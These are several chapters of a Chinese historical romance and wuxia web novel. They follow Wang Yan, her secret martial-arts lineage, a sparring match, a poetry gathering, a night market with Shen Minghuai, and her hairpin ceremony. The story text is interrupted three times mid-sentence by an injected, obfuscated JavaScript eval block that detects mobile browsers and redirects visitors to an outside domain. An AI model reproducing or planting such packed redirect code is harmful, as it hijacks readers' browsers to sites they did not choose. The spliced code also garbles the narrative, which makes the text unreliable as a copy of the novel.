王甫直沉思片刻，现下益王拉拢兵部，卫王拉拢工部，礼部有倒戈益王的趋势，卫王又正在大理寺任职……便只剩吏、户两部仍在斡旋。眼下那位龙体康健，情势尚未明朗，三方皆须谨慎应对。 “非是赐婚那么简单，往大了说，便是结党，但若卫王真有意于你……” 王琰小呼一声，十分苦恼，“阿潆怕是有这样的魅力……” 王桢笑着点了点她的脑袋，“又不正经了。” 王琰哼道：“不是么？往后避开些就是。” 尽管八字还没一撇，但尽早防着些，总没有错。王甫直知她性子，只好稍加提醒，“在合适的范围内乱来，切莫树敌。” 王琰嬉皮笑脸应下，“大不了抗旨不遵。” 王甫直接下她的话，“好。不就是全族的脑袋，拿去。” 王琰迅速撤回刚刚的话，“那阿潆岂不成了王家的罪人？祖父、曾祖、高祖，王家列祖列宗，怕不是要齐聚云起居，我这庙小，可供不起。” 沈明淮回府便听说傅吉徵来了。方进院子，一眼就瞧见他这个师父在亭下喝着沈鼎臣的流香酒，面容不禁一僵。 “好酒！”傅吉徵随意擦了嘴，神情满足，“淮儿回来了，快来同为师饮一杯。” 沈明淮嘴角抽了抽，哪回傅吉徵偷喝沈鼎臣的美酒，不是由他担着。沈鼎臣知晓后不知换了多少次藏酒的地方，却还是被傅吉徵的鼻子嗅到方位，每回都是毫不费力就寻到了。 后来沈鼎臣亦无法，只好每次冲着沈明淮喊：“让你那个酒鬼师父别偷了！” “嗳！为师喝得尽兴，险些忘了。这美流香，淮儿受不住。”傅吉徵笑得更欢，“可惜！可惜！这御赐的好酒……为师海量，你怎没学到一成？净喝那劳什子盛雪。” 只见傅吉徵一口饮尽。沈明淮抿了一口，“龙园胜雪。师父您可真是暴殄天物。” 傅吉徵爽快地将酒杯一搁，“说说吧。” 沈明淮转杯子的手止住，疑惑道：“什么？” 傅吉徵一副看透的样子，“李长凌的小徒弟啊。” 一旁已垂头认错的应冥，为自己辩解道：“傅爷，我没说她是李长凌徒弟啊。” 傅吉徵疑道：“你难道不是这个意思？” 沈明淮这才缓缓开口，“徒儿的确见到了流霜剑法……” 应冥向傅吉徵纠正道：“是落花剑法，冒牌的。” 沈明淮忆起那日的场景，“不过虽只七分形似，却颇具神韵。” 傅吉徵问应冥：“你说那剑法名叫落花？” 应冥点头道：“那娘子称是将敌人打得落花流水之意。” 傅吉徵闻之大笑，“这做派，当真有李长凌的影子。” “师父也认为她是李长凌的徒弟？”对于这个问题，沈明淮已思索了数回。 傅吉徵摸着下巴思考，“不无可能。她现下在何处？为师去会会她。” 沈明淮预感不妙，只好先拿出身份来压压，“那娘子是户部尚书之女，平日难见。” 傅吉徵常常口无遮拦，“区区尚书府，拦不住你师父我。” 沈明淮扶额，真是想一出是一出啊。无论明闯暗闯，有意无意，若被王府的人知晓了，小事尚可化了，但往大了说，怕是要造成朝廷与江湖的误会。当下只有拖他一拖，寻个藉口搪塞过去。 “上巳节，竹轩亭雅集，她会去。” 傅吉徵极为认真，当即拍定，“好！届时你将她引出来，我试试她。” 沈明淮隐隐忧心，傅吉徵出手向来没个轻重，若她真是李长凌的徒弟，李长凌又怎会放过他。 “师父不若让徒儿来。” 傅吉徵却不出所料地驳了他的建议，“若她真是李长凌的徒弟，你打得过吗？” 沈明淮抿唇无言。 傅吉徵拍胸脯保证，“我是那等欺负后生的人吗？不过伤了她，李长凌要来和我打一架的话，不亏啊！” 沈明淮蹙眉暗道，好师父，真就不顾徒儿的死活。 傅吉徵开怀道：“淮儿你还是这么容易当真。放心，要是那什么王尚书李尚书告去官府，为师不会供出你的。” 又是一载三月三，又是一枝柳露沾。 春风和煦，晴光拂柳，往来不绝的游人，酿泉为酒，吟诗作对，好不惬意。益王妃借上巳节广邀名门子弟，益王虽未出面，赴会者也多领会其中深意。 王琰今日原要与王桢一道去祭拜小娘，奈何王甫直言赴了百花宴却拒竹轩会，明摆着上了卫王贼船。为表明王家一碗水端平，她还是来了。 文人墨客一类，她平常都要退避三舍。只有两人与她一同学诵五经，她才勉强读得下去。可惜这二人今日都不在。王琰着一身乳白衣裙，索然无味地端坐在溪边。 “琰妹妹？” 商念遥在王琰旁边坐下，似乎很惊讶她竟也来了。王琰倒是在任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276280|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场合见到她，都不觉得奇怪。凡是有身份之人办的雅宴，商念遥来得比谁都勤。 应邀者陆续坐下，益王妃宣告诗会开始。 今日出门未看黄历，不知运气这般好。这酒杯三番两次停在王琰面前，她推说不会作诗，不欲在各位才子面前舞文弄墨，只好自罚三觥。雅集无趣，亦不想再饮酒，便又托以醒酒的藉口，与一旁的商念遥道了声，后悄然离席。 离席者自是不止她一人。或不胜酒力，或无才情，亦或心思不正之徒，无人见之不退避三舍。 商念遥在那些人中瞧了好一会儿，寻到柳家两位公子，急问：“二位公子，我家小妹出来醒酒好些时候了，不知可有见过？小女怕……” 柳二公子知她是商家娘子，却不曾听闻她有什么妹妹。 “你家小妹？” 商念遥面露忧色，“是王家妹妹，与我交好。” “可是着白色衣裳？” 柳三公子想起坐在商念遥旁侧那个小娘子，压低声音与柳二道：“刚刚诗会上我便注意到了，姿色卓绝……我瞧像是往那边去了。” 二人随即正色，“商娘子放心，我们二人去远处寻寻。” 商念遥回席找到刚对完诗的沈明淮，走出两步，方才满眼焦急道：“沈公子，柳家公子方才往琰妹妹醒酒的方向去了，他二人浪荡名声在外，我担心……公子与琰妹妹有些交情，若公子去寻，想必是比我去好些。” 沈明淮的眼神瞬间冷下来，盯着商念遥问：“我与她有些交情？” 商念遥不安道：“那日我见她与公子在回廊叙话……我并非有意偷听！只是恰好路过……” 沈明淮本不欲管，云岩山的那记落花剑足以证明她的身手。早闻当日被沅春带进殿的只她二人，安的这点心思——等等，师父！以他这说一不二的性子…… 商念遥见沈明淮匆匆离去的背影，嘴角漾开一抹笑。 王琰正坐在树上，饶有兴味地看着那两个傻子打转，不想一青袍男子钻出来，两句话将他们支开，还往她这来了。 那男子站在树下，叉腰仰头，感觉开口便是“老夫”二字。 “小丫头，老夫问你，你可是李长凌的徒弟？” 王琰奇道：“呀，你怎知？” 男子向她招手，“你下来说话，怎么说我也是长辈，真不礼貌。” 王琰才不顺他的意，“我瞧你不怀好意，你先回答我的问题。” “淮儿告知我的。” 王琰轻盈往下一跃，“沈明淮？” 那人也不回答，乐呵呵捡起一根竹子，将手中剑丢与她，“来罢，让老夫会会你。” “会你个——” 王琰接住青剑还未有所反应，那竹棍直指而来，只好立马接过他的剑招。剑气纵横，几招之内，她竟毫无攻势，只得固守。 竹棍横着劈来，她后仰避开，青剑点划在地，扬起一林竹叶，却被他片片躲开。好厉害的功夫。已过八招，王琰额角生汗，快招架不住了。 倏然，一柄长剑飞来，击退那男子的攻势。 9. 择婿榜 凌沧！师兄来了！ 凌沧！师兄来了！ 红衣男子在王琰身旁落下，啧啧厌弃，“傅吉徵，几年未见，怎欺负起弱娘子来了？” 王琰旋即将剑抛过去，附和道：“以大欺小，非君子所为！” 傅吉徵收回青剑，“她可不弱。” 王琰乐津津解释道：“他的意思是你太弱了，只敢欺负不如你的。” 傅吉徵急得咬牙切齿，“淮儿！” 在一旁观战许久的沈明淮，信步走出竹林，好似恭敬地唤了声，“师父。” 李长凌眯着眼打量他，“这就是你收的徒弟？我还道是哪位爱慕我们阿潆的小公子。” 傅吉徵极不耐烦，又很是随便地吩咐道：“替为师报仇雪恨。” 沈明淮还是第一次见到传说中的李长凌，从来只是听闻，今日才算见着本尊。身体颀长，剑眉星目，一身红衣肆意张扬，金冠高束起马尾，不可一世的神情似曾相识。 尔后望向他身后的小娘子。许是酒意还未完全消散，双颊留存着淡淡红晕。 沈明淮立在原地不动，嘴里吐出两个字，“惜命。” 李长凌乐得捧腹大笑，“老傅，你跟你徒弟学学。什么淮，你快将自知之明分你师父一些，总自讨没趣，叫我落个不懂尊老的名声。” “这叫切！磋！”傅吉徵十分火大，“无妨，让我徒儿赢了你徒儿，也是一样。” 李长凌纳闷儿道：“我徒儿？” 对面二人齐齐看向王琰。 李长凌随即反应过来，坏笑道：“好徒儿！叫声师父听听。” 王琰甜声道：“师——想得美。” 就知她不会让他占这个便宜。李长凌假意掏掏耳朵，“原来你往日出去招摇撞骗，都是打着为师的名号啊。” 王琰旋即反驳道：“这是第一次，失败得如此迅速，分明是你的名号震不住。” 李长凌指着对面那两个人，“你也不看看你骗的是谁。我怎会有你这样功夫不济的徒弟？” 傅吉徵惊觉险些误伤旁人，“那她是……” “小师妹。” 王琰用手肘碰了碰他。傅吉徵师徒二人终于露出诧异的神色。 李长凌让她安心，“老傅不是那般嘴碎的人。是罢，老傅？” 傅吉徵没好气道：“明日就让全京城的人都晓得。” 李长凌转转手腕，“那你试试。” 云岩山上，沈明淮虽猜测二人关系匪浅，同门的念头也曾一闪而过，但不想竟是真的。 “走走走，去丰乐楼喝酒——你请，算是给我小师妹赔礼道歉。”李长凌随即勾上傅吉徵的肩，经过沈明淮的时候又嘱咐一声，“你，将阿潆送回去。” 王琰颇不服气，冲着他们的背影喊：“嗳！给我道歉怎么是请你喝酒啊？” 沈明淮自顾自走在前头，“是该回去了。” 二人一前一后重新落座，位置不是固定的，王琰跟着沈明淮坐下，又向不远处的商念遥投去一笑。作诗改对诗，诗会再次开始。 一次放两杯酒，前者出上联，后者对下联。一杯酒少，急匆匆地走在前面，停在了商念遥处，而那另一杯，老骥伏枥般，停在了她王琰面前…… 商念遥犹豫片刻，还是出了一联：十里浮光逐雁去。 不少人窃窃私语起来，这句好啊。 柳三见王琰不喝酒，也不对诗，打趣道：“王娘子若实在为难，可以请在下帮你对一联。” 周遭的人立刻哄闹起来，正以为她又要推脱，王琰忽道：“春宵苦短始愿违。” 此句一出，在场诸位静默半晌，又一瞬笑不可仰。含沙射影说柳三讨人嫌呢。右侧的沈明淮亦垂眸扬起一个笑。 益王妃亦被她逗乐，“王娘子这句诗，对得倒别致。” 柳三怒而不齿道：“王娘子何必拿这不伦不类的句子忽悠咱们，早说了在下可以帮你。” 王琰淡声道：“只是好意提醒柳公子罢了。所谓‘人之患，在好为人师’。我要请教，自会向沈公子请教，莫非你自诩才识甚于他？” 众人又闹起来。 “是啊，她旁边坐着沈兄，柳三你凑什么热闹？” “当初在国子监，明淮的才识诸位可是见识过的啊。” “夫子夸他才过屈宋，可让王以衡羡慕死了！” 王琰对此深表怀疑，附耳问沈明淮：“此事当真？” 沈明淮忽地故弄玄虚起来，“自是……” 兄长的为人才学她还不清楚么。王琰旋道：“必定是他们捕风捉影，夸大其词。” 沈明淮笑了笑，未言是，未言不是。 王琰随即端坐，高声道：“还是‘五微’罢？下联我这才想好，诸位且听。” 喧闹声止下。 “九重春色醉人归。” 一语出，众人又议论起来。 柳二又跳出来，“王娘子有如此文采，前几次又为何推辞？莫不是看不起我等？” 王琰笑意不减，眼神却毫不退让，“怎会。实不相瞒，方才沈公子见我左右为难，助我成了韵，才勉强作出此句。” 众人又一齐看过来，唯商念遥拈了一颗梅子放入口中。沈明淮拿茶盏的手顿了顿，又慢条斯理地喝起茶来。 益王妃出面转圜，“未说不能帮。既如此，进入下一轮罢。” 你一句，我一句，文人学士喋喋不休。各自归去，已过未时，日光仍盛，尚未有西斜的态势。 王琰悠悠与沈明淮一道往回走，“沈公子这便回府了么？” 沈明淮下意识回道：“难不成去丰乐楼？” 王琰眼眸含笑，“正有此意！” 不知为何，与这人相识不过一月，却总能看穿她的心思。不等沈明淮回答，王琰便拉着他的宽袖往应冥处走。 微风拂过，吹起小娘子的白色裙摆，珠钗在春晖下闪着细碎的光，宛如盛开于眼前的玉兰，却更为灵动可爱。鬓边海棠落。沈明淮竟一时失了神。 王琰与应冥道：“送你家公子到丰乐楼，他师父在那儿。” 应冥迟疑地看向他家公子。在沈明淮这里，未明言拒绝，往往就是同意了。 又丢下一句“待会儿见”，王琰转身走向王家的马车。 和风又起，掌中海棠再扬。 沈明淮往日对这些花花草草并不感兴趣，应冥现下也摸不着头脑，不知他家公子是在看花还是看风。 沈明淮慢慢收回视线，无言上车。 王琰刚下马车，一抱着三色小猫的娘子着急忙慌地跑过，二人双双摔到在地。 桑荇忙将王琰扶起，“娘子没事罢？” “无碍。”王琰理了理衣裙，那娘子连忙道歉，紧紧护着怀里的猫，顿时神色大变。 “站住！”一尖细的嗓音朝这边叫唤。 王琰一把拉住那女子，回头望去，原是两——公公。 那女子着急道：“娘子，我日后再赔……” “他们是何人？” “是殿头包公公的人，娘子……” 淑丽淳良，包葛余汤。包公公，淑妃的人。王琰旋即放开她，旋又被另一名男子叫住。 “等等。” 沈明淮不知何时走到她身后，“总要问个清楚。” 王琰迅速往旁站，腾出足够的地方让他二人堂申。 两内侍喘着粗气停下，一眼瞧见沈明淮腰间的玉佩，随即打恭作揖，“沈公子。” “二位公公这是何意？” 沈明淮较他们高出不少，居高临下的姿态，天之骄子气性尽显。 “宫里贵人想养猫，让咱家寻只稀罕的，便想与这娘子交易。” 那娘子果断拒绝，“我不卖。” 三色小猫闻声探出脑袋，竟是异瞳。一蓝一橙，澄澈宛若两颗宝石。 沈明淮从中斡旋，“这位娘子既说不卖，贵人应未让二位强取。” “自然自然，方才未说明白，误会，误会。”两内侍一溜没了影。 “多谢公子！”那娘子旋屈膝道谢，随即抱着异瞳小猫离去。 沈明淮径自往丰乐楼走，暗处里的小猫蠢蠢欲动，王琰快步上前，“你这玉佩这样厉害，改日能不能借我戴戴？” 沈明淮瞥了她一眼，回了句沉默。问过店小二，王琰轻车熟路地领着他往二楼雅间去。显然，他们突然一齐出现让李长凌和傅吉徵很是惊讶。 王琰不客气地在李长凌旁边坐下，脸上是掩不住的笑意，“傅爷，请。” 傅吉徵一脸茫然，还未意识到事情的严重性。 “三脆羹、煎鹌子、生炒肺、炒蛤蜊、决明汤虀、二色腰子、鹅鸭排蒸、桐皮熟脍面、旋索粉玉棋子、胡饼、紫苏鱼、白渫虀、汤骨头、石肚羹，各来一份。” 傅吉徵常日只来喝酒，顶多再来两叠下酒菜，他又不是不知丰乐楼的价格，这会儿听得直傻眼。 “怎敢让傅爷出钱？”王琰善解人意地转向沈明淮，“自然应是徒儿代劳。” 沈明淮眼睛也未眨一下，给傅吉徵吃下定心丸，“我请。” 李长凌撑着下巴感叹道：“老傅，你收了个好徒弟啊。” 菜还未上齐，门外不知何人来禀。跑堂的送来一张拜帖，说是给傅吉徵的。李长凌看得糊里糊涂的，问一旁的王琰，后者只耸了耸肩。今早经丰乐楼出城，她便碰上了这等奇景。 “择婿榜的榜首？” 王琰奇道，这话听着倒是耳熟。是了，彼时丹州城外的粥铺，她也听过这话。 好些人家的厮儿分散在丰乐楼方圆之外的各个角落，就是为了与常在此一饮十坛的傅吉徵见上一见，全是因那传闻。 据说若有意择沈明淮为婿，那娘子须赢了他师父的酒量。然傅吉徵平素并不在京城，亦极少露面，世人只知沈明淮的师父是个酒鬼，每回来京都会在丰乐楼豪饮十坛。 或又是这么些年，相传只有某知州千金入了他师父法眼，也因此近些年，能与沈明淮走得那般近的，只那娘子一人，但她早已离京。 又闻沈家择妻十分看重才华，须成为京中第一才女。这些都是今早卷桃说与她听的。 不过片刻，又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276281|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一张拜帖。傅吉徵喝止送帖的厮儿，接下来的拜帖无须再送进厢房内。未过多久，厮儿的声音又在房外响起，王琰方握箸抬手，旋将玉筷拍在碗上，幽怨地看着沈明淮。 傅吉徵气冲冲地打开房门，嚷道：“要么退回去，要么你收着，休要打扰我吃饭！” 外边终是静下。一顿饭吃得畅快，虽然菜式多，但王琰让庖厨每道菜分量减半，最后四人吃得近乎不剩。 整个过程沈明淮几乎未说一句话，倒是李长凌与傅吉徵忆起往昔，泄洪似的说个不停。秋月春风，良辰美景尔尔。 傅吉徵说到与他这个徒弟的缘分，可堪是手舞足蹈。 “那日我喝了酒从会仙楼走出来，在路边捡到一个哭爹喊娘的小娃娃，见我一套醉拳打得那叫一个漂亮，就一直跟着我，说什么都要拜我为师。” 沈明淮无情拆穿他，“那日是师父喝得烂醉如泥，直往河里走。分明是我将你从河中救回，你哭喊着要收我为徒，以此谢恩。” 李长凌不忍拍桌大笑，“老傅，你竟醉成这样，还掉到河里，险些丢了性命？饮酒伤身，饮酒伤身啊。” 王琰不知何时已放下玉筷，“一日不饮便抓心挠肺，还好意思规诫旁人。” 傅吉徵与李长凌碰了一杯，“彼此，彼此啊。” 李长凌驳斥道：“我在酒量上，亦是胜过他许多的！” 傅吉徵无言以对，只好将满腔愤怨与酒一齐吞进肚里。 这个雅间靠近闹市，华灯初上，外边已是十分热闹了。不住的喧哗传入屋内，使王琰心痒难耐，与李长凌提议游夜市被拒，转而双眼发亮地望向沈明淮。 “不——” 拒绝的话刚说出口，三人的目光不约而同地聚集在一处。王琰起身直拉他往外走。 “你定是没去过，很有意思的！” 李长凌在后喊道：“好好将我们阿潆送回来啊！” 一出丰乐楼，已月盈满城。王琰早早打听好，直奔红桥去。一路上，卖药、干果、熟食的项人络绎不绝，探博、纸画、令曲一类亦丰。 这街上食铺杂乱，王琰定睛一看，寻着梅家水晶脍小步跑去，怀中还抱着炒栗子。 今日上巳，车水马龙，却不知为何，沈明淮并不怕一时分神将人弄丢，仿佛走在前边的人定会回头寻他。 王琰已付了银子，沈明淮才走到梅家铺子前，“他家滴酥亦不错。” “你吃过？”王琰接过吃食，在一边的桌椅坐下，将滴酥放过去，“我还以为沈公子会皱着眉，严声道‘我不吃不干净的东西’。” 沈明淮对着滴酥笑，“从前确是。” 此人真情实感的笑意极少见，这大抵算第一次。滴酥多是女子偏爱些，莫非是与那知州千金一齐来的……看来他二人比她想的，要亲近许多。 “夏日饮食比今日多，还有我最爱的沙塘冰雪冷元子。” 沈明淮轻声道：“小孩儿口味。” 王琰颇不服气，“小孩儿怎么了？食不究龄。” 吃罢正巧遇上杂耍，王琰被沈明淮催促回府时，仍是一脸不舍。坐上马车，眼皮即开始打架，意识越来越模糊。 沈明淮从未如此认真地打量一位娘子这样久。她竟对自己毫无防备，就这般放心閤了眼。许是出于对李长凌的信任，毕竟无人敢在李长凌的眼皮底下动她。 少女眼睫在脸上投下一道长长的阴影，只略施粉黛，万紫千红不及她。藏起那点狡黠，竟还……有些可爱。 玄色大氅拿在手中许久，沈明淮还是在将到王府时盖在了她身上。 “到了。” 王琰眠浅，马车停下时她已隐隐察觉，沈明淮一开口，便全醒了。只顺手将大氅披在身上，拿上吃食，道谢后掀帘下车，直走进府中。 应冥犹豫着对车内人道：“公子，大氅……” 沈明淮又变回那个叫人捉摸不透的冷面公子，“回府。” 不出所料，李长凌正坐在东厢房里与王桢下棋。王琰进门前特将大氅脱下交与卷桃。 “回来了。” 分明只有短短三字，却仿佛在王琰的耳边吹了一曲洞箫。如怨如慕，如泣如诉。 李长凌丢下白子，佯作责备，“我看啊，胳膊肘怕不是要往外拐了。” 王琰忙摆上盘兔与姜辣萝卜，“孝敬您二位的。” 李长凌立马翻篇，王桢却不为所动。 “你可知现在是什么时辰？” 王琰自知回府迟了，大气不敢出，“亥时……” 李长凌假意随着王桢训道：“这三更半夜才回来，孤男寡女，成何体统啊？” 王琰拉着王桢袖子，“阿兄……都怪师兄，他不陪我去游夜市，我就一时没注意时辰……再说了，那街上那么多人呢！怎么就孤男寡女了？人山人海的。” 王桢一向考虑较多，语重心长道：“若是被有心人瞧见，在外说些不好听的，如何是好？” 王琰荡开一笑，“那真是再好不过。” 李长凌恍然大悟，“原来你是要拿那小子当挡箭牌？” 10. 被弃之人 王琰不甚在意，“朋友之间，帮个小忙罢了。” 王桢知他这个妹妹喜欢将选择权握在自己手中，即问：“因他与卫王是堂亲？” 王琰点点头，“这样无论如何，王家都会纳在卫王麾下，他才可能让。” 李长凌摇摇头，不置可否，“要是傅吉徵知晓你玩弄他的宝贝徒弟，得来和你拼命。” 王琰歪头一笑，“那不是还有师兄你么？” 李长凌敲了敲她的额头，“就你最贫。” 王琰委屈道：“他对我有意无意还另说呢。这样的人，怎么会甘心为我所用。况且他从前还有个亲近的知州千金，此事并非你二人想的那般容易。” 王桢也开始不正经，“我们阿潆可不是一般人，记得把握好分寸，莫让他真上心了。” 王琰听着颇为不悦，“为何？旁人的情感怎是我能控制的，你妹妹我不值得他上心么？” 李长凌先一步解释道：“将来他便是下一个定国公。你不喜官场名利，又怎愿被束缚在这里？还是与师兄我一起肆意江湖来的自在。” 王琰撇撇嘴，说得好像也有几分道理。话又说回来，“今日是阿兄将师兄找来的？” 李长凌一脸嫌弃，“不若我怎会出现在那荒郊野岭之地？” “上京的景色就这般入不得师兄的眼，还要为我的笄礼暂居些时日，真是辛苦了。” 提及笄礼，王琰欲让商念遥作为笄礼的赞者，便想先来问问她这位兄长的意思。王桢当即知她用意，相较于王家，商家或许更为卫王所需。 王琰认真分析了一番，“当日被请入殿的只我与她二人，日后她若真成了卫王妃……多一个敌人不如多一个朋友。” 王桢知她从不随便打算，定已仔细考量，“明日你便与父亲母亲说罢。” 上京之事说罢，王琰终于寻着机会问李长凌此行目的了，“不过，师兄你怕不只是来观礼这么简单罢？” 李长凌已不知何时收起那副懒散模样，“姑母怕生变故，便唤我来了。师父师娘亦不放心。” 王琰眸色一沉，到底是怎样的一盘棋，竟需她的笄礼作幌子。敌暗她明，况且尚无蛛丝马迹，未雨绸缪都不知从何做起。 王桢宽慰道：“无论是对你还是对王家，我们必不会让他如愿。” 是了，她且不是孤身一人，自从小习武，尚可自保。实在不济，还有师兄，还有王家。 王琰忽觉有趣起来，“若要入局才能破局，那便来吧。” 钱煦拿着两饼龙凤团茶便到定国公府找沈明淮斗茶，三天两头地来，尽管次次输。 “你上次火烧匪寨，可算将三哥的金窝子拔掉一个。现在就看户部的态度了。”钱煦将汤注入盏中。 沈明淮将茶罐放到手边，“宜川县令并非益王的人。” 钱煦二次注汤，“那个刘大年，寒门出身，自是没这个胆量。这些人成不了事，也不用费心思拉拢。” 沈明淮余光瞥见书册夹着的一首诗，不知怎地露在外面，是一位官员离京时赠予他的。 “要下雨了。” 钱煦转身往外瞧去，“阴好些天了，这雨始终不来。” 沈明淮将那首诗合进书册中，“若是连日阴雨，水怕是要涨。” 钱煦注入最后一次汤，“年初已有雪灾，若再发水患……天视之灾以戒。” 沈明淮直盯着对面那人，钱煦本就没打算把“不治”二字说出口，笑着将茶汤点成。 “别紧张，来瞧瞧我这次点的如何。” 沈明淮上前看了一眼，悠悠回到位置上，准备点茶。 “公子，王家女使求见。”应冥在门外禀道。 沈明淮正罗茶，眸色微动，“请。” 应冥转身将人带来，桑荇微微垂首，“见过卫王殿下，沈公子。娘子让奴婢将这件大氅还与公子。” 沈明淮抬眸示意，应冥旋接过折叠整齐的大氅。 “大氅不小心沾了茶汤，已经洗净，若公子不受，娘子言暇时请公子与她到荣锦坊挑匹喜欢的布，待制好之后再还与公子。” 沈明淮的目光这才挪到这女使身上，桑荇再次端端正正行礼，随后离开。 钱煦茶汤里的画散尽，漫不经心地问：“王家女使？你们何时认识的。” 沈明淮随意地答：“殿下拉我进宫那日。” “这王家娘子，我走之后便勾搭上你了？”钱煦一副看透的样子，“你是不知，那日她在我面前装得多清高。” 沈明淮的双耳好似灌满了茶汤，也不知听没听见他的话。钱煦又随口一问：“你不是对这些世家女子不感兴趣吗？” 沈明淮不紧不慢烘着盏，“师父与她有些误会，由我调解。” “傅爷行事向来如此。”钱煦胡乱搅着茶汤，转而又说回王琰，“三日后好似是她的笄礼，本王倒要看看她是真清高，还是在欲拒还迎。” 盛着茶粉的木匙一滞，“殿下有请帖？” “没有。” 沈明淮将茶粉倒入盏中，“那便不合规矩。” 钱煦敲着桌子嚷道：“母妃是她正宾，王家却不请我观礼，这像话吗？” 沈明淮一面用茶匙击沸，一面说了好一些话。 “若请了殿下势必要请益王，益王与王家交集寥寥，且淑妃主宾，若只有殿下去了，王家便是主动选择了殿下。况且殿下与王家娘子只一面之缘，非亲朋，于公于私，殿下与益王都不宜参加。” 钱煦满不在乎，“横竖她将来也是本王的王妃———” “殿下，”沈明淮打断他，轻轻续上两字，“慎言。” 毫无破绽的神情，钱煦竟纠不出一丝错处，失态的是他。莫非他猜错了。 “不过这王家娘子确是贵女中较别致的，加之王家的门第，说媒的人估计早候着了。” 沈明淮放下木匙，茶已点成。钱煦凑过去一看，汤色纯白如乳，点的是一株玉兰。 “明淮，你的点茶技术真就不能教教本王？” 沈明淮依旧是那句话，“沈氏绝密——” “不能外传。走了走了，大理寺还有一堆事儿。” 钱煦一走，沈鼎臣便将沈明淮唤入书房。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276282|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈鼎臣手握豪锥，墨凝在笔尖，劈头盖脸便问：“昨日你与王家娘子在一处？” 还是任何事都逃不过父亲的眼睛。沈明淮将方才应付钱煦的说辞又述一遍。 沈鼎臣收笔，一幅苍劲有力的“不平则鸣”写成。 “王甫直虽是个老狐狸，但王家是个不错的选择。” 沈明淮愣了片刻，旋才领会沈鼎臣的意思。往后仕途，王家于他有益。 念此，沈明淮不自觉生地出些厌恶，却仍旧规规矩矩道：“父亲，儿子并非任何事都要首先衡量利益。” 沈鼎臣冷斥一声，“不谈利，谈情吗？她是你姑母看中的人，不会差。明年开科场，做好准备。” 沈鼎臣见他缄口不言，又道，“你若想与煦儿争上一争，为父不会说什么，总归都是我们的人。你自己好好考虑清楚，不要做没意义的事。” “不要做没意义的事。” 这句话贯穿他的幼年。 从小到大，沈明淮都被父亲十二分要求着。旁的孩子做到七八分便已捧上满手糖，他做到十分面对的却是沈鼎臣的责备。好似自那时起，他的人生只有一条路可走，那便是成为下一个定国公。 五岁那年，沈明淮与母亲韩氏出游回府，对手中的纸风车爱不释手。沈鼎臣见了，二话不说将其夺过，丢掷在地，质问道：“五经都背熟了？” 沈明淮怔怔地看着父亲，不知所措地摇了摇头。 沈鼎臣接着厉声训斥，“不要做没意义的事。” 往后不知多少个风和日丽的午后，他都在书房持着书册，字句诵读。那日晚上，韩氏与他大吵一架，一气之下回相州娘家住了半年。沈明淮十岁那年，韩氏诞下一女，同时赠予沈鼎臣一纸和离书。母亲带妹妹走了，他被遗弃在上京。 又过三年，韩氏牵着一个瓷娃娃回到定国公府。 韩氏将这个瓷娃娃拉到他身边，“淮儿，娘欠你一句道歉。我与你父亲再怎么怄气，也不应迁怒于你。这几年是我轻怠了你，希望你体谅体谅娘。” 韩氏不希冀他能马上原谅自己，只想日后能多补偿一些。 “惜莞，这是兄长。” 名唤“韩惜莞”的小童虽从未见过他，却莫名与他亲近。顶着一双水汪汪的眼睛来牵起他的手，这一牵便是六年。自此之后，每三个月，韩氏便会带韩惜莞到上京住一段时日，他从此便有了游夜市的习惯。沈鼎臣与韩氏的关系也终有缓和。 “公子？”应冥见他脸色极差。 沈明淮收回思绪，揉了揉眉心，”那件大氅在何处？” “公子卧房里。” 沈明淮回到卧房打开一看，大氅里果真藏着东西，一个请帖。 漂亮的颜体，内容与形式却颇随意。 「琰将加笄于首，愿沈公子前来观礼。此为赔礼。」 赔礼。沈明淮勾唇一笑，方才沈鼎臣的话又在耳边响起。 “王家是个不错的选择。” 这件大氅还得如此是时候，他怎会不知她的用意。他一向是最听话的孩子，这次又怎会不如您的意。 11. 好戏开场 拂晓前，王琰已起身准备，沐浴过后，身着采衣坐在东房静候仪式开始，方才清醒。李氏许久未着霞帔了，碧青大袖与莲花冠，往阼阶下一站，谁人不知她便是尚书府的主母。 吉时一到，李氏出门迎宾，引客上堂。王琰来到正堂向宾客行礼，随后坐下盥洗梳妆。 淑妃从执事手里接过冠笄，温婉诵出祝辞： 令月吉日，始加笄珈。弃尔幼志，顺尔成德。寿考惟祺，介尔景福。 冠毕，商念遥为王琰正冠，佩戴发饰，乐止。王琰又回房换上梅红色褙子，再次回到正堂。商念遥执酒器，执事酌酒，授于淑妃执酒，再祝。 进酒，奉馔，引坐，脱笄，奉冠朵进，再祝。 着大袖长裙，祝。 执酒，致辞，淑妃退。 一拜父母，二拜师长，三拜先祖。 淑妃为其取字文璇，再拜。礼毕。 